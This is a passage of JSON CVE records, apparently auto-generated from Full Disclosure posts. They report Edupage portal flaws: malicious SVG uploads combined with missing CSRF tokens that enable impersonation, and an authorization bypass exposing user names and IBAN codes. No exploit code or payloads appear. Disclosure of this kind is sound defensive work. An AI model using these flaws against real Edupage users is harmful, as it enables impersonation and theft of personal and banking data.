          "value": "VULNERABILITY\nNon-sanitised submission of malicious SVG files on the Edupage portal in\ncombination with CSRF vulnerability allows triggering various actions on\nbehalf of other users, e.g. identity spoofing, sending fake messages,\ngiving fake approvals, etc.\n\nFull disclosure report: https://jkosik.github.io/posts/edupage/\nReference: https://www.edupage.org/\n\nVENDOR:\nApplied Software Consultants\n\nPRODUCT:\nEdupage - https://www.edupage.org/\nWeb application and also mobile application (at least 2024.0.25 2.1.72)\n\nAFFECTED COMPONENT\nEdupage web and mobile application - multiple pages with missing CSRF token\nand multiple pages allowing attachment uploads.\n\nATTACK TYPE\nRemote\n\nDISCOVERER\nJuraj Kosik\n\nCVE\nCVE-2025-70562\nCVE-2025-70563\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:39:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/4"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/4"
        },
        {
          "url": "https://jkosik.github.io/posts/edupage/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.edupage.org/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/4"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Full disclosure: Impersonation attacks on Edupage portal",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0252",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/4",
            "automated": true,
            "contentSha256": "af883f4d6525af5afb39baf60c32c4eeb9f767b44447dc0edb11edda3a94e42b",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/4",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-12T10:46:55Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-11T07:39:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0252"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Full disclosure Edupage",
          "vendor": "Applied Software Consultants",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Juraj Kosik"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "VULNERABILITY\nBoth authenticated and publicly accessible anonymous guest accounts on\nEdupage portal allow an attacker to capture the complete list of user IDs,\nnames (students, parents, and teachers), and the associated banking details\n(IBAN codes)\n\nFull disclosure report: https://jkosik.github.io/posts/edupage/\nReference: https://www.edupage.org/\n\nVENDOR:\nApplied Software Consultants\n\nPRODUCT:\nEdupage - https://www.edupage.org/\nWeb application and also mobile application (at least 2024.0.25 2.1.72)\n\nAFFECTED COMPONENT\nEdupage Payment module\n\nATTACK TYPE\nRemote\n\nDISCOVERER\nJuraj Kosik\n\nCVE\nCVE-2025-70561\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:39:27Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/3"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/3"
        },
        {
          "url": "https://jkosik.github.io/posts/edupage/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.edupage.org/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/3"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Full disclosure: Edupage web and mobile application authorization bypass leaks PII and IBAN codes",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0251",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/3",
            "automated": true,
            "contentSha256": "f0c00c3375b0a15c7991e33bfcc9c10bad4a82e4ecefb8da5d4667c2d9748705",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/3",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-12T10:39:30Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-11T07:39:27Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0251"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}